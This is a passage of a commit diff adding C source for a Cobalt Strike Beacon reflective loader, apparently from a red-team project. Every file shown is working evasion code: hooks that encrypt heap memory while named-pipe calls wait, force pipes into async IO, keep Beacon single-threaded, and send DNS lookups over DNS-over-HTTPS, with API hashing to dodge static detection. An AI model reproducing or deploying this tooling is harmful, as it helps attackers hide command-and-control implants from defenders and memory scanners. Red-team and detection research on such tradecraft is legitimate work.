     20 +D_SEC( D ) BOOL WINAPI CloseHandle_Hook( _In_ HANDLE hObject );
     21 + 
  • ■ ■ ■ ■ ■ ■
    hooks/ConnectNamedPipe.c
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#include "Common.h"
     12 + 
     13 +#if defined( _WIN64 )
     14 + 
     15 +typedef struct
     16 +{
     17 + D_API( RtlInitUnicodeString );
     18 + D_API( GetOverlappedResult );
     19 + D_API( ConnectNamedPipe );
     20 + D_API( NtCreateEvent );
     21 + D_API( LdrUnloadDll );
     22 + D_API( LdrLoadDll );
     23 + D_API( NtClose );
     24 +} API ;
     25 + 
     26 +/* API Hashes */
     27 +#define H_API_RTLINITUNICODESTRING 0xef52b589 /* RtlInitUnicodeString */
     28 +#define H_API_GETOVERLAPPEDRESULT 0x92473976 /* GetOverlappedResult */
     29 +#define H_API_CONNECTNAMEDPIPE 0x436e4c62 /* ConnectNamedPipe */
     30 +#define H_API_NTCREATEEVENT 0x28d3233d /* NtCreateEvent */
     31 +#define H_API_LDRUNLOADDLL 0xd995c1e6 /* LdrUnloadDll */
     32 +#define H_API_LDRLOADDLL 0x9e456a43 /* LdrLoadDll */
     33 +#define H_API_NTCLOSE 0x40d6e69d /* NtClose */
     34 + 
     35 +/* LIB Hashes */
     36 +#define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */
     37 + 
     38 +/*!
     39 + *
     40 + * Purpose:
     41 + *
     42 + * Determines if the handle is a named pipe server.
     43 + * If it is, we are required to use the overlapped
     44 + * IO.
     45 + *
     46 + * Forces the overlapped IO to simulate a blocking
     47 + * operation to mimic the original behavior while
     48 + * being able to obfuscate for periods at a time.
     49 + *
     50 +!*/
     51 +D_SEC( D ) BOOLEAN WINAPI ConnectNamedPipe_Hook( _In_ HANDLE hNamedPipe, _Inout_opt_ LPOVERLAPPED lpOverlapped )
     52 +{
     53 + API Api;
     54 + OVERLAPPED Ovl;
     55 + UNICODE_STRING Uni;
     56 + UINT8 Key[ 0x10 ];
     57 + 
     58 + NTSTATUS Nst = STATUS_UNSUCCESSFUL;
     59 + BOOLEAN Ret = FALSE;
     60 + BOOLEAN Asn = FALSE;
     61 + DWORD Len = 0;
     62 + 
     63 + PVOID Evt = NULL;
     64 + PVOID K32 = NULL;
     65 + PTABLE Tbl = NULL;
     66 + PLIST_ENTRY Hdr = NULL;
     67 + PLIST_ENTRY Ent = NULL;
     68 + PPIPE_ENTRY_BEACON Peb = NULL;
     69 + 
     70 + /* Zero out stack structures */
     71 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     72 + RtlSecureZeroMemory( &Ovl, sizeof( Ovl ) );
     73 + RtlSecureZeroMemory( &Uni, sizeof( Uni ) );
     74 + RtlSecureZeroMemory( &Key, sizeof( Key ) );
     75 + 
     76 + Api.RtlInitUnicodeString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITUNICODESTRING );
     77 + Api.NtCreateEvent = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCREATEEVENT );
     78 + Api.LdrUnloadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRUNLOADDLL );
     79 + Api.LdrLoadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRLOADDLL );
     80 + Api.NtClose = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCLOSE );
     81 + 
     82 + /* Load kernel32.dll */
     83 + Api.RtlInitUnicodeString( &Uni, C_PTR( G_SYM( L"kernel32.dll" ) ) );
     84 + 
     85 + if ( NT_SUCCESS( Api.LdrLoadDll( NULL, 0, &Uni, &K32 ) ) ) {
     86 + 
     87 + Api.GetOverlappedResult = PeGetFuncEat( K32, H_API_GETOVERLAPPEDRESULT );
     88 + Api.ConnectNamedPipe = PeGetFuncEat( K32, H_API_CONNECTNAMEDPIPE );
     89 + 
     90 + /* Get the pointers we need */
     91 + Tbl = C_PTR( G_SYM( Table ) );
     92 + Hdr = C_PTR( & Tbl->Table->PipeList );
     93 + Ent = C_PTR( Hdr->Flink );
     94 + 
     95 + /* Enumerate through each pipe handle */
     96 + for ( ; Ent != Hdr ; Ent = C_PTR( Ent->Flink ) ) {
     97 + Peb = C_PTR( CONTAINING_RECORD( Ent, PIPE_ENTRY_BEACON, PipeList ) );
     98 + 
     99 + /* Is this our pipe? */
     100 + if ( Peb->Pipe == C_PTR( hNamedPipe ) ) {
     101 + /* Force IO */
     102 + Asn = TRUE;
     103 + break;
     104 + };
     105 + };
     106 + 
     107 + /* Are we hooking? */
     108 + if ( Asn )
     109 + {
     110 + /* Create an overlapped synchronization event */
     111 + if ( NT_SUCCESS( Api.NtCreateEvent( &Ovl.hEvent, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) {
     112 + 
     113 + /* Call the connect operation */
     114 + Ret = Api.ConnectNamedPipe( hNamedPipe, &Ovl );
     115 + 
     116 + /* Is this a pending operation or did it fail ? */
     117 + if ( Ret != TRUE ) {
     118 + /* What was the last error? */
     119 + if ( NtCurrentTeb()->LastErrorValue == ERROR_IO_PENDING ) {
     120 + 
     121 + /* Generate a random encryption key */
     122 + RandomString( &Key, sizeof( Key ) );
     123 + 
     124 + /* Encrypt the heap blocks */
     125 + HeapEncryptDecrypt( &Key, sizeof( Key ) );
     126 + 
     127 + /* Block until the operation completes */
     128 + Nst = ObfNtWaitForSingleObject( Ovl.hEvent, FALSE, NULL );
     129 + 
     130 + /* Decrypt the heap blocks */
     131 + HeapEncryptDecrypt( &Key, sizeof( Key ) );
     132 + 
     133 + /* Get the result. */
     134 + Ret = Api.GetOverlappedResult( hNamedPipe, &Ovl, &Len, FALSE );
     135 + };
     136 + };
     137 + 
     138 + /* Close the event */
     139 + Api.NtClose( Ovl.hEvent );
     140 + };
     141 + } else
     142 + {
     143 + /* Execute ConnectNamedPipe as normal */
     144 + Ret = Api.ConnectNamedPipe( hNamedPipe, lpOverlapped );
     145 + };
     146 + Api.LdrUnloadDll( K32 );
     147 + };
     148 + 
     149 + /* Zero out stack structures */
     150 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     151 + RtlSecureZeroMemory( &Ovl, sizeof( Ovl ) );
     152 + RtlSecureZeroMemory( &Uni, sizeof( Uni ) );
     153 + RtlSecureZeroMemory( &Key, sizeof( Key ) );
     154 + 
     155 + /* Return */
     156 + return Ret;
     157 +};
     158 + 
     159 +#endif
     160 + 
  • ■ ■ ■ ■ ■ ■
    hooks/ConnectNamedPipe.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +/*!
     14 + *
     15 + * Purpose:
     16 + *
     17 + * Determines if the handle is a named pipe server.
     18 + * If it is, we are required to use the overlapped
     19 + * IO.
     20 + *
     21 + * Forces the overlapped IO to simulate a blocking
     22 + * operation to mimic the original behavior while
     23 + * being able to obfuscate for periods at a time.
     24 + *
     25 +!*/
     26 +D_SEC( D ) BOOLEAN WINAPI ConnectNamedPipe_Hook( _In_ HANDLE hNamedPipe, _Inout_opt_ LPOVERLAPPED lpOverlapped );
     27 + 
  • ■ ■ ■ ■ ■ ■
    hooks/CreateNamedPipeA.c
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#include "Common.h"
     12 + 
     13 +#if defined( _WIN64 )
     14 + 
     15 +typedef struct
     16 +{
     17 + D_API( RtlInitUnicodeString );
     18 + D_API( CreateNamedPipeA );
     19 + D_API( RtlAllocateHeap );
     20 + D_API( LdrUnloadDll );
     21 + D_API( RtlFreeHeap );
     22 + D_API( LdrLoadDll );
     23 +} API ;
     24 + 
     25 +/* API Hashes */
     26 +#define H_API_RTLINITUNICODESTRING 0xef52b589 /* RtlInitUnicodeString */
     27 +#define H_API_CREATENAMEDPIPEA 0xa05e2a6d /* CreateNamedPipeA */
     28 +#define H_API_RTLALLOCATEHEAP 0x3be94c5a /* RtlAllocateHeap */
     29 +#define H_API_LDRUNLOADDLL 0xd995c1e6 /* LdrUnloadDll */
     30 +#define H_API_RTLFREEHEAP 0x73a9e4d7 /* RtlFreeHeap */
     31 +#define H_API_LDRLOADDLL 0x9e456a43 /* LdrLoadDll */
     32 + 
     33 +/* LIB Hashes */
     34 +#define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */
     35 + 
     36 +/*!
     37 + *
     38 + * Purpose:
     39 + *
     40 + * If a pipe is not using non-overlapped IO,
     41 + * the pipe will be saved into a list, and
     42 + * forced to be async-IO.
     43 + *
     44 + * The other pipe hooks will attempt to then
     45 + * obfuscate on the handle when performing
     46 + * Read, write, and connect operations.
     47 + *
     48 +!*/
     49 +D_SEC( D ) HANDLE WINAPI CreateNamedPipeA_Hook( _In_ LPCSTR lpName, _In_ DWORD dwOpenMode, _In_ DWORD dwPipeMode, _In_ DWORD nMaxInstances, _In_ DWORD nOutBufferSize, _In_ DWORD nInBufferSize, _In_ DWORD nDefaultTimeout, _In_ LPSECURITY_ATTRIBUTES lpAttributes )
     50 +{
     51 + API Api;
     52 + UNICODE_STRING Uni;
     53 + 
     54 + PVOID K32 = NULL;
     55 + HANDLE Srv = INVALID_HANDLE_VALUE;
     56 + PTABLE Tbl = NULL;
     57 + PPIPE_ENTRY_BEACON Ent = NULL;
     58 + 
     59 + /* Zero out stack structures */
     60 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     61 + RtlSecureZeroMemory( &Uni, sizeof( Uni ) );
     62 + 
     63 + Api.RtlInitUnicodeString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITUNICODESTRING );
     64 + Api.RtlAllocateHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLALLOCATEHEAP );
     65 + Api.LdrUnloadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRUNLOADDLL );
     66 + Api.RtlFreeHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLFREEHEAP );
     67 + Api.LdrLoadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRLOADDLL );
     68 + 
     69 + /* Get table pointer */
     70 + Tbl = C_PTR( G_SYM( Table ) );
     71 + 
     72 + /* Load kernel32.dll */
     73 + Api.RtlInitUnicodeString( &Uni, C_PTR( G_SYM( L"kernel32.dll" ) ) );
     74 + 
     75 + if ( NT_SUCCESS( Api.LdrLoadDll( NULL, 0, &Uni, &K32 ) ) ) {
     76 + Api.CreateNamedPipeA = PeGetFuncEat( K32, H_API_CREATENAMEDPIPEA );
     77 + 
     78 + /* Is this a non-overlapped IO pipe? */
     79 + if ( !( dwOpenMode & FILE_FLAG_OVERLAPPED ) ) {
     80 + /* Allocate a structure for it */
     81 + if ( ( Ent = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( PIPE_ENTRY_BEACON ) ) ) != NULL ) {
     82 + /* Create a named pipe server with overlapped asny-cIO */
     83 + if ( ( Srv = Api.CreateNamedPipeA( lpName, dwOpenMode | FILE_FLAG_OVERLAPPED, dwPipeMode, nMaxInstances, nOutBufferSize, nInBufferSize, nDefaultTimeout, lpAttributes ) ) != INVALID_HANDLE_VALUE ) {
     84 + /* Save the pipe */
     85 + Ent->Pipe = C_PTR( Srv );
     86 + 
     87 + /* Insert into the list */
     88 + InsertHeadList( &Tbl->Table->PipeList, &Ent->PipeList );
     89 + } else
     90 + {
     91 + /* Free the entry if we failed */
     92 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Ent );
     93 + }
     94 + } else
     95 + {
     96 + /* Notify we couldnt allocate a structure */
     97 + NtCurrentTeb()->LastErrorValue = ERROR_NOT_ENOUGH_MEMORY;
     98 + };
     99 + } else
     100 + {
     101 + /* Do not allocate a structure and attempt to create the pipe */
     102 + Srv = Api.CreateNamedPipeA( lpName, dwOpenMode, dwPipeMode, nMaxInstances, nOutBufferSize, nInBufferSize, nDefaultTimeout, lpAttributes );
     103 + };
     104 + 
     105 + /* Dereference */
     106 + Api.LdrUnloadDll( K32 );
     107 + }
     108 + 
     109 + /* Zero out stack structures */
     110 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     111 + RtlSecureZeroMemory( &Uni, sizeof( Uni ) );
     112 + 
     113 + /* Return */
     114 + return C_PTR( Srv );
     115 +};
     116 + 
     117 +#endif
     118 + 
  • ■ ■ ■ ■ ■ ■
    hooks/CreateNamedPipeA.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +/*!
     14 + *
     15 + * Purpose:
     16 + *
     17 + * If a pipe is not using non-overlapped IO,
     18 + * the pipe will be saved into a list, and
     19 + * forced to be async-IO.
     20 + *
     21 + * The other pipe hooks will attempt to then
     22 + * obfuscate on the handle when performing
     23 + * Read, write, and connect operations.
     24 + *
     25 +!*/
     26 +D_SEC( D ) HANDLE WINAPI CreateNamedPipeA_Hook( _In_ LPCSTR lpName, _In_ DWORD dwOpenMode, _In_ DWORD dwPipeMode, _In_ DWORD nMaxInstances, _In_ DWORD nOutBufferSize, _In_ DWORD nInBufferSize, _In_ DWORD nDefaultTimeout, _In_ LPSECURITY_ATTRIBUTES lpAttributes );
     27 + 
  • ■ ■ ■ ■ ■ ■
    hooks/CreateThread.c
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#include "Common.h"
     12 + 
     13 +typedef struct
     14 +{
     15 + D_API( RtlNtStatusToDosError );
     16 + D_API( RtlSetLastWin32Error );
     17 + D_API( NtQueryVirtualMemory );
     18 + D_API( RtlCreateUserThread );
     19 +} API ;
     20 + 
     21 +/* API Hashes */
     22 +#define H_API_RTLNTSTATUSTODOSERROR 0x39d7c890 /* RtlNtStatusToDosError */
     23 +#define H_API_RTLSETLASTWIN32ERROR 0xfd303374 /* RtlSetLastWin32Error */
     24 +#define H_API_NTQUERYVIRTUALMEMORY 0x10c0e85d /* NtQueryVirtualMemory */
     25 +#define H_API_RTLCREATEUSERTHREAD 0x6c827322 /* RtlCreateUserThread */
     26 + 
     27 +/* LIB Hashes */
     28 +#define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */
     29 + 
     30 +/*!
     31 + *
     32 + * Purpose:
     33 + *
     34 + * Prevents Cobalt Strike from spawning a new thread
     35 + * if it is within its current address space, to make
     36 + * Beacon single-threaded.
     37 + *
     38 +!*/
     39 +D_SEC( D ) HANDLE WINAPI CreateThread_Hook( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, PTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId )
     40 +{
     41 + API Api;
     42 + CLIENT_ID Cid;
     43 + MEMORY_BASIC_INFORMATION Mb1;
     44 + MEMORY_BASIC_INFORMATION Mb2;
     45 + 
     46 + BOOLEAN Sus = FALSE;
     47 + NTSTATUS Nst = STATUS_UNSUCCESSFUL;
     48 + 
     49 + HANDLE Thd = NULL;
     50 + 
     51 + /* Zero out stack structures */
     52 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     53 + RtlSecureZeroMemory( &Cid, sizeof( Cid ) );
     54 + RtlSecureZeroMemory( &Mb1, sizeof( Mb1 ) );
     55 + RtlSecureZeroMemory( &Mb2, sizeof( Mb2 ) );
     56 + 
     57 + Api.RtlNtStatusToDosError = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLNTSTATUSTODOSERROR );
     58 + Api.RtlSetLastWin32Error = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLSETLASTWIN32ERROR );
     59 + Api.NtQueryVirtualMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTQUERYVIRTUALMEMORY );
     60 + Api.RtlCreateUserThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLCREATEUSERTHREAD );
     61 + 
     62 + /* Query the MemoryBasicInformation of the passed in parameter */
     63 + if ( NT_SUCCESS( Api.NtQueryVirtualMemory( NtCurrentProcess(), lpStartAddress, MemoryBasicInformation, &Mb1, sizeof( Mb1 ), NULL ) ) ) {
     64 + /* Query the MemoryBasicInformation of our current function */
     65 + if ( NT_SUCCESS( Api.NtQueryVirtualMemory( NtCurrentProcess(), C_PTR( G_SYM( CreateThread_Hook ) ), MemoryBasicInformation, &Mb2, sizeof( Mb2 ), NULL ) ) ) {
     66 + /* Does not come from the same base allocation? */
     67 + if ( C_PTR( Mb1.AllocationBase ) != C_PTR( Mb2.AllocationBase ) )
     68 + {
     69 + /* Do we suspend? */
     70 + if ( dwCreationFlags & CREATE_SUSPENDED )
     71 + {
     72 + /* Yes we suspended */
     73 + Sus = TRUE;
     74 + } else
     75 + {
     76 + /* No we do not! */
     77 + Sus = FALSE;
     78 + };
     79 + /* Create the new thread pointing at our target region */
     80 + if ( NT_SUCCESS( ( Nst = Api.RtlCreateUserThread( NtCurrentProcess(), lpThreadAttributes, Sus, 0, dwStackSize, dwStackSize, lpStartAddress, lpParameter, &Thd, &Cid ) ) ) )
     81 + {
     82 + /* Do we need the thread ID? */
     83 + if ( lpThreadId != NULL )
     84 + {
     85 + /* Set the return ID */
     86 + *lpThreadId = Cid.UniqueThread;
     87 + };
     88 + };
     89 + } else {
     90 + /* Notify that we cannot create this thread! */
     91 + Nst = STATUS_ACCESS_DENIED;
     92 + };
     93 + };
     94 + };
     95 + /* Set the last error information */
     96 + Api.RtlSetLastWin32Error( Api.RtlNtStatusToDosError( Nst ) );
     97 + 
     98 + /* Zero out stack structures */
     99 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     100 + RtlSecureZeroMemory( &Cid, sizeof( Cid ) );
     101 + RtlSecureZeroMemory( &Mb1, sizeof( Mb1 ) );
     102 + RtlSecureZeroMemory( &Mb2, sizeof( Mb2 ) );
     103 + 
     104 + /* Return */
     105 + return C_PTR( Thd );
     106 +};
     107 + 
  • ■ ■ ■ ■ ■ ■
    hooks/CreateThread.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +/*!
     14 + *
     15 + * Purpose:
     16 + *
     17 + * Prevents Cobalt Strike from spawning a new thread
     18 + * if it is within its current address space, to make
     19 + * Beacon single-threaded.
     20 + *
     21 +!*/
     22 +D_SEC( D ) HANDLE WINAPI CreateThread_Hook( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, PTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
     23 + 
  • ■ ■ ■ ■ ■ ■
    hooks/DnsQuery_A.c
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#include "Common.h"
     12 + 
     13 +NTSTATUS
     14 +NTAPI
     15 +RtlRandomEx(
     16 + _Inout_ PULONG Seed
     17 +);
     18 + 
     19 +/* Functions */
     20 +typedef struct
     21 +{
     22 + D_API( DnsExtractRecordsFromMessage_UTF8 );
     23 + D_API( DnsWriteQuestionToBuffer_UTF8 );
     24 + D_API( InternetQueryDataAvailable );
     25 + D_API( RtlInitUnicodeString );
     26 + D_API( InternetCloseHandle );
     27 + D_API( InternetReadFile );
     28 + D_API( HttpSendRequestA );
     29 + D_API( HttpOpenRequestA );
     30 + D_API( InternetConnectA );
     31 + D_API( RtlAllocateHeap );
     32 + D_API( HttpQueryInfoA );
     33 + D_API( InternetOpenA );
     34 + D_API( LdrUnloadDll );
     35 + D_API( RtlRandomEx );
     36 + D_API( RtlFreeHeap );
     37 + D_API( LdrLoadDll );
     38 +} API ;
     39 + 
     40 +/* Hashes */
     41 +#define H_API_DNSEXTRACTRECORDSFROMMESSAGE_UTF8 0x300c2cf6 /* DnsExtractRecordsFromMessage_UTF8 */
     42 +#define H_API_DNSWRITEQUESTIONTOBUFFER_UTF8 0x8daca0d0 /* DnsWriteQuestionToBuffer_UTF8 */
     43 +#define H_API_INTERNETQUERYDATAAVAILABLE 0x48114d7f /* InternetQueryDataAvailable */
     44 +#define H_API_RTLINITUNICODESTRING 0xef52b589 /* RtlInitUnicodeString */
     45 +#define H_API_INTERNETCLOSEHANDLE 0x87a314f0 /* InternetCloseHandle */
     46 +#define H_API_INTERNETREADFILE 0x7766910a /* InternetReadFile */
     47 +#define H_API_HTTPSENDREQUESTA 0x2bc23839 /* HttpSendRequestA */
     48 +#define H_API_HTTPOPENREQUESTA 0x8b6ddc61 /* HttpOpenRequestA */
     49 +#define H_API_INTERNETCONNECTA 0xc058d7b9 /* InternetConnectA */
     50 +#define H_API_RTLALLOCATEHEAP 0x3be94c5a /* RtlAllocateHeap */
     51 +#define H_API_HTTPQUERYINFOA 0x9df7f348 /* HttpQueryInfoA */
     52 +#define H_API_INTERNETOPENA 0xa7917761 /* InternetOpenA */
     53 +#define H_API_LDRUNLOADDLL 0xd995c1e6 /* LdrUnloadDll */
     54 +#define H_API_RTLRANDOMEX 0x7f1224f5 /* RtlRandomEx */
     55 +#define H_API_RTLFREEHEAP 0x73a9e4d7 /* RtlFreeHeap */
     56 +#define H_API_LDRLOADDLL 0x9e456a43 /* LdrLoadDll */
     57 +#define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */
     58 + 
     59 +/*!
     60 + *
     61 + * Purpose:
     62 + *
     63 + * Redirects DnsQuery_A over a DNS/HTTP(s)
     64 + * provider.
     65 + *
     66 +!*/
     67 + 
     68 +D_SEC( D ) DNS_STATUS WINAPI DnsQuery_A_Hook( _In_ PCSTR pszName, _In_ WORD wType, _In_ DWORD Options, _In_ PVOID pExtra, _Out_ PDNS_RECORD * ppQueryResults, _In_ PVOID pReserved )
     69 +{
     70 + API Api;
     71 + UNICODE_STRING Uni;
     72 + 
     73 + USHORT Xid = 0;
     74 + ULONG Val = 0;
     75 + ULONG Cod = HTTP_STATUS_OK;
     76 + BOOLEAN Suc = FALSE;
     77 + DNS_STATUS Err = DNS_RCODE_SERVFAIL;
     78 + SIZE_T Len = 0;
     79 + 
     80 + LPVOID Res = NULL;
     81 + LPVOID Buf = NULL;
     82 + HMODULE Dns = NULL;
     83 + HMODULE Win = NULL;
     84 + HINTERNET Iop = NULL;
     85 + HINTERNET Icp = NULL;
     86 + HINTERNET Hop = NULL;
     87 + ULONG_PTR Lst[] = { G_SYM( "mozilla.cloudflare-dns.com" ), G_SYM( "cloudflare-dns.com" ) };
     88 + 
     89 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     90 + RtlSecureZeroMemory( &Uni, sizeof( Uni ) );
     91 + 
     92 + /* get NT API */
     93 + Api.RtlInitUnicodeString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITUNICODESTRING );
     94 + Api.RtlAllocateHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLALLOCATEHEAP );
     95 + Api.LdrUnloadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRUNLOADDLL );
     96 + Api.RtlRandomEx = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLRANDOMEX );
     97 + Api.RtlFreeHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLFREEHEAP );
     98 + Api.LdrLoadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRLOADDLL );
     99 + 
     100 + Val = Api.RtlRandomEx( &Val );
     101 + Val = Api.RtlRandomEx( &Val );
     102 + 
     103 + Api.RtlInitUnicodeString( &Uni, C_PTR( G_SYM( L"wininet.dll" ) ) );
     104 + Api.LdrLoadDll( NULL, 0, &Uni, &Win );
     105 + 
     106 + Api.RtlInitUnicodeString( &Uni, C_PTR( G_SYM( L"dnsapi.dll" ) ) );
     107 + Api.LdrLoadDll( NULL, 0, &Uni, &Dns );
     108 + 
     109 + if ( Win != NULL && Dns != NULL )
     110 + {
     111 + Api.DnsExtractRecordsFromMessage_UTF8 = PeGetFuncEat( Dns, H_API_DNSEXTRACTRECORDSFROMMESSAGE_UTF8 );
     112 + Api.DnsWriteQuestionToBuffer_UTF8 = PeGetFuncEat( Dns, H_API_DNSWRITEQUESTIONTOBUFFER_UTF8 );
     113 + Api.InternetQueryDataAvailable = PeGetFuncEat( Win, H_API_INTERNETQUERYDATAAVAILABLE );
     114 + Api.InternetCloseHandle = PeGetFuncEat( Win, H_API_INTERNETCLOSEHANDLE );
     115 + Api.InternetReadFile = PeGetFuncEat( Win, H_API_INTERNETREADFILE );
     116 + Api.HttpSendRequestA = PeGetFuncEat( Win, H_API_HTTPSENDREQUESTA );
     117 + Api.HttpOpenRequestA = PeGetFuncEat( Win, H_API_HTTPOPENREQUESTA );
     118 + Api.InternetConnectA = PeGetFuncEat( Win, H_API_INTERNETCONNECTA );
     119 + Api.HttpQueryInfoA = PeGetFuncEat( Win, H_API_HTTPQUERYINFOA );
     120 + Api.InternetOpenA = PeGetFuncEat( Win, H_API_INTERNETOPENA );
     121 + 
     122 + Iop = Api.InternetOpenA( NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0 );
     123 + 
     124 + if ( Iop != NULL ) {
     125 + Icp = Api.InternetConnectA( Iop,
     126 + C_PTR( Lst[ Val % ARRAYSIZE( Lst ) ] ),
     127 + INTERNET_DEFAULT_HTTPS_PORT,
     128 + NULL,
     129 + NULL,
     130 + INTERNET_SERVICE_HTTP,
     131 + 0,
     132 + 0 );
     133 + 
     134 + if ( Icp == NULL ) {
     135 + goto Leave;
     136 + };
     137 + 
     138 + Hop = Api.HttpOpenRequestA( Icp,
     139 + C_PTR( G_SYM( "POST" ) ),
     140 + C_PTR( G_SYM( "/dns-query" ) ),
     141 + NULL,
     142 + NULL,
     143 + NULL,
     144 + INTERNET_FLAG_NO_CACHE_WRITE |
     145 + INTERNET_FLAG_SECURE |
     146 + INTERNET_FLAG_RELOAD |
     147 + INTERNET_FLAG_NO_UI,
     148 + 0 );
     149 + 
     150 + if ( Hop != NULL )
     151 + {
     152 + if ( Api.DnsWriteQuestionToBuffer_UTF8( Buf, &Len, pszName, wType, 0, TRUE ) ) {
     153 + goto Leave;
     154 + };
     155 + if ( ! ( Buf = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, 0, Len ) ) ) {
     156 + goto Leave;
     157 + };
     158 + 
     159 + Val = Api.RtlRandomEx( &Val );
     160 + Val = Api.RtlRandomEx( &Val );
     161 + Xid = ( UINT16 )( Val % ( UINT16_MAX + 1 ) );
     162 + 
     163 + if ( Api.DnsWriteQuestionToBuffer_UTF8( Buf, &Len, pszName, wType, Xid, TRUE ) )
     164 + {
     165 + if ( Api.HttpSendRequestA( Hop, C_PTR( G_SYM( "Content-Type: application/dns-message" ) ), -1L, Buf, Len ) )
     166 + {
     167 + if ( Api.HttpQueryInfoA( Hop, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &Cod, &( DWORD ){ sizeof( DWORD ) }, NULL ) )
     168 + {
     169 + if ( Cod != HTTP_STATUS_OK ) {
     170 + goto Leave;
     171 + };
     172 + if ( ! Api.InternetQueryDataAvailable( Hop, &Len, 0, 0 ) ) {
     173 + goto Leave;
     174 + };
     175 + if ( ! ( Res = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, Len ) ) ) {
     176 + goto Leave;
     177 + };
     178 + if ( Api.InternetReadFile( Hop, Res, Len, &( DWORD ){ 0 } ) )
     179 + {
     180 + DNS_BYTE_FLIP_HEADER_COUNTS( Res );
     181 + Err = Api.DnsExtractRecordsFromMessage_UTF8( Res, Len, ppQueryResults );
     182 + } else {
     183 + goto Leave;
     184 + };
     185 + } else {
     186 + goto Leave;
     187 + };
     188 + } else {
     189 + goto Leave;
     190 + };
     191 + } else {
     192 + goto Leave;
     193 + };
     194 + } else {
     195 + goto Leave;
     196 + };
     197 + };
     198 + Leave:
     199 + if ( Res != NULL ) {
     200 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Res );
     201 + Res = NULL;
     202 + };
     203 + if ( Buf != NULL ) {
     204 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Buf );
     205 + Buf = NULL;
     206 + };
     207 + if ( Iop != NULL ) {
     208 + Api.InternetCloseHandle( Iop );
     209 + Iop = NULL;
     210 + };
     211 + if ( Icp != NULL ) {
     212 + Api.InternetCloseHandle( Icp );
     213 + Icp = NULL;
     214 + };
     215 + if ( Hop != NULL ) {
     216 + Api.InternetCloseHandle( Hop );
     217 + Hop = NULL;
     218 + };
     219 + };
     220 + if ( Win != NULL ) {
     221 + Api.LdrUnloadDll( Win );
     222 + Win = NULL;
     223 + };
     224 + if ( Dns != NULL ) {
     225 + Api.LdrUnloadDll( Dns );
     226 + Dns = NULL;
     227 + };
     228 + return Err;
     229 +};
     230 + 
Please wait...
Page is in error, reload to recover